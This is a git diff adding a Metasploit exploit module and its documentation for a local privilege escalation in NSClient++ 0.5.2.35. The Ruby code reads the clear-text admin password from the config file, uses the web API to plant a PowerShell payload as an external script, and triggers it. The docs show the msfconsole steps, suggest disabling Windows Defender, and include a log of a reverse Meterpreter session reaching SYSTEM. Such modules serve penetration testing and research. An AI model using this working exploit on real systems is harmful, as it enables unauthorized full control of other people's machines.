diff --git a/documentation/modules/exploit/windows/local/nscp_pe.md b/documentation/modules/exploit/windows/local/nscp_pe.md new file mode 100644 index 0000000000..c68867d747 --- /dev/null +++ b/documentation/modules/exploit/windows/local/nscp_pe.md @@ -0,0 +1,72 @@ +## Vulnerable Application + +### Description + +This module allows an attacker with an unprivileged windows account to gain admin access on windows system and start a shell. +For this module to work, both web interface of NSClient++ and `ExternalScripts` feature should be enabled. +You must also know where is the NSClient config file as it is used to read the admin password which is stored in clear text. + +### Installation + +A vulnerable version of NSClient++ can be downloaded from [here]https://nsclient.org/download/). Then you can help yourself with +this [installation guide](https://docs.nsclient.org/api/rest/) to complete the installation. Don't forget to enable the web interface +and the `ExternalScripts` feature to allow the exploit to work. + +## Verification Steps + +List the steps needed to make sure this thing works + +1. Start `msfconsole` +2. `use exploit/windows/local/nscp_pe` +3. `set SESSION ` +4. `set FILE ` if the NSCP config file is not `C:\Program Files\NSClient++\nsclient.ini` +5. `check` to check if the targeted NSClient++ is vulnerable +6. `set payload ` to set a specific payload to send +7. `run` the module to exploit the vulnerability, gain admin access and start a shell + +## Options + +### FILE + +Set the config file of NSClient++. If you don't know, try with the default value. + +## Scenarios + +This module was successfully tested on Windows 10 Home (you may need to disable Windows Defender as msf payload could be spotted). +See the following output : + +``` +msf6 exploit(multi/handler) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 12 meterpreter x64/windows DESKTOP-T5N69RR\basic_user @ DESKTOP-T5N69RR 172.18.15.143:4444 -> 172.18.15.142:64307 (172.18.15.142) + + +msf6 exploit(nscp_pe) > set session 12 +session => 12 +msf6 exploit(nscp_pe) > run + +[!] SESSION may not be compatible with this module (incompatible session type: meterpreter) +[*] Started reverse TCP handler on x.x.x.x:4444 +[*] Executing automatic check (disable AutoCheck to override) +[+] Admin password found : easypassword +[+] NSClient web interface is enabled ! +[+] The target is vulnerable. External scripts feature enabled ! +[+] Admin password found : easypassword +[+] NSClient web interface is enabled ! +[*] Configuring Script with Specified Payload . . . +[*] Added External Script (name: lrawsiaajn) +[*] Saving Configuration . . . +[*] Reloading Application . . . +[*] Waiting for Application to reload . . . +[*] Triggering payload, should execute shortly . . . +[*] Sending stage (200262 bytes) to y.y.y.y +[*] Meterpreter session 13 opened (x.x.x.x:4444 -> y.y.y.y:64309) at 2021-06-09 14:37:10 +0200 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +``` diff --git a/modules/exploits/windows/local/nscp_pe.rb b/modules/exploits/windows/local/nscp_pe.rb new file mode 100644 index 0000000000..57af55dd67 --- /dev/null +++ b/modules/exploits/windows/local/nscp_pe.rb @@ -0,0 +1,239 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Exploit::Remote::HttpClient + include ::Msf::Exploit::Powershell + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'NSClient++ 0.5.2.35 - Priviledge', + 'Description' => %q{ + This module allows an attacker with an unprivileged windows account to gain admin access on windows system and start a shell. + For this module to work, both web interface of NSClient++ and `ExternalScripts` feature should be enabled. + You must also know where is the NSClient config file as it is used to read the admin password which is stored in clear text. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ # This module is kind of mix of the two following POCs : + 'kindredsec', # POC on www.exploit-db.com + 'BZYO', # POC on www.exploit-db.com + 'Yann Castel (yann.castel[at]orange.com)' # Metasploit module + ], + 'References' => + [ + ['EDB', '48360'], + ['EDB', '46802'] + ], + 'Platform' => %w[windows], + 'Arch' => [ARCH_X64], + 'Targets' => + [ + [ + 'Windows', + { + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :windows_powershell + } + ] + ], + 'Privileged' => true, + 'DisclosureDate' => '2020-10-20', + 'DefaultTarget' => 0, + 'Notes' => + { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION ] + }, + 'DefaultOptions' => { 'SSL' => true, 'RHOSTS' => 'DOESNT_MATTER', 'RPORT' => 8443 } + ) + ) + + register_options [ + OptString.new('FILE', [true, 'Config file of NSClient', 'C:\\Program Files\\NSClient++\\nsclient.ini']) + ] + end + + def rhost + session.session_host + end + + def configure_payload(token, cmd, key) + print_status('Configuring Script with Specified Payload . . .') + + plugin_id = rand(1..10000).to_s + + node = { + 'path' => '/settings/external scripts/scripts', + 'key' => key + } + value = { 'string_data' => cmd } + update = { 'node' => node, 'value' => value } + payload = [ + { + 'plugin_id' => plugin_id, + 'update' => update + } + ] + json_data = { 'type' => 'SettingsRequestMessage', 'payload' => payload } + + r = send_request_cgi({ + 'method' => 'POST', + 'data' => JSON.generate(json_data), + 'headers' => { 'TOKEN' => token }, + 'uri' => normalize_uri('/settings/query.json') + }) + + if !(r&.body.to_s.include? 'STATUS_OK') + print_error('Error configuring payload. Hit error at: ' + endpoint) + end + + print_status('Added External Script (name: ' + key + ')') + sleep(3) + print_status('Saving Configuration . . .') + header = { 'version' => '1' } + payload = [ { 'plugin_id' => plugin_id, 'control' => { 'command' => 'SAVE' } } ] + json_data = { 'header' => header, 'type' => 'SettingsRequestMessage', 'payload' => payload } + + send_request_cgi({ + 'method' => 'POST', + 'data' => JSON.generate(json_data), + 'headers' => { 'TOKEN' => token }, + 'uri' => normalize_uri('/settings/query.json') + }) + end + + def reload_config(token) + print_status('Reloading Application . . .') + + send_request_cgi({ + 'method' => 'GET', + 'headers' => { 'TOKEN' => token }, + 'uri' => normalize_uri('/core/reload') + }) + + print_status('Waiting for Application to reload . . .') + sleep(10) + response = false + count = 0 + until response + begin + sleep(2) + r = send_request_cgi({ + 'method' => 'GET', + 'headers' => { 'TOKEN' => token }, + 'uri' => normalize_uri('/') + }) + if !r.body.empty? + response = true + end + rescue StandardError + count += 1 + if count > 10 + fail_with(Failure::Unreachable, 'Application failed to reload. Nice DoS exploit!') + end + end + end + end + + def trigger_payload(token, key) + print_status('Triggering payload, should execute shortly . . .') + + send_request_cgi({ + 'method' => 'GET', + 'headers' => { 'TOKEN' => token }, + 'uri' => normalize_uri("/query/#{key}") + }) + rescue StandardError + print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'") + end + + def external_scripts_feature_enabled?(token) + r = send_request_cgi({ + 'method' => 'GET', + 'headers' => { 'TOKEN' => token }, + 'uri' => normalize_uri('/registry/control/module/load'), + 'vars_get' => { 'name' => 'CheckExternalScripts' } + }) + + r&.body.to_s.include? 'STATUS_OK' + end + + def get_auth_token(pwd) + r = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/auth/token?password=' + pwd) + }) + + if r.code == 200 + auth_token = r.body.to_s[/"auth token": "(\w*)"/, 1] + return auth_token + end + rescue StandardError => e + print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'") + end + + def get_arg(line) + line.split('=')[1].gsub(/\s+/, '') + end + + def leak_info + a = read_file(datastore['FILE']).split("\n") + pwd = nil + web_server_enabled = false + + a.each do |x| + if x =~ /password/ + pwd = get_arg(x) + print_good("Admin password found : #{pwd}") + elsif x =~ /WEBServer/ + if x =~ /enabled/ + web_server_enabled = true + print_good('NSClient web interface is enabled !') + end + end + end + return pwd, web_server_enabled + end + + def check + pwd, web_server_enabled = leak_info + if pwd.nil? + CheckCode::Unknown('Admin password not found in config file') + elsif !web_server_enabled + CheckCode::Safe('NSClient web interface is disabled') + else + token = get_auth_token(pwd) + if token.nil? + CheckCode::Unknown('Unable to get an authentication token, maybe the target is safe') + elsif external_scripts_feature_enabled?(token) + CheckCode::Vulnerable('External scripts feature enabled !') + else + CheckCode::Safe('External scripts feature disabled !') + end + end + end + + def exploit + pwd, _web_server_enabled = leak_info + cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true) + token = get_auth_token(pwd) + + if token + rand_key = rand_text_alpha_lower(10) + configure_payload(token, cmd, rand_key) + reload_config(token) + token = get_auth_token(pwd) # reloading the app might imply the need to create a new auth token as the former could have been deleted + trigger_payload(token, rand_key) + end + end +end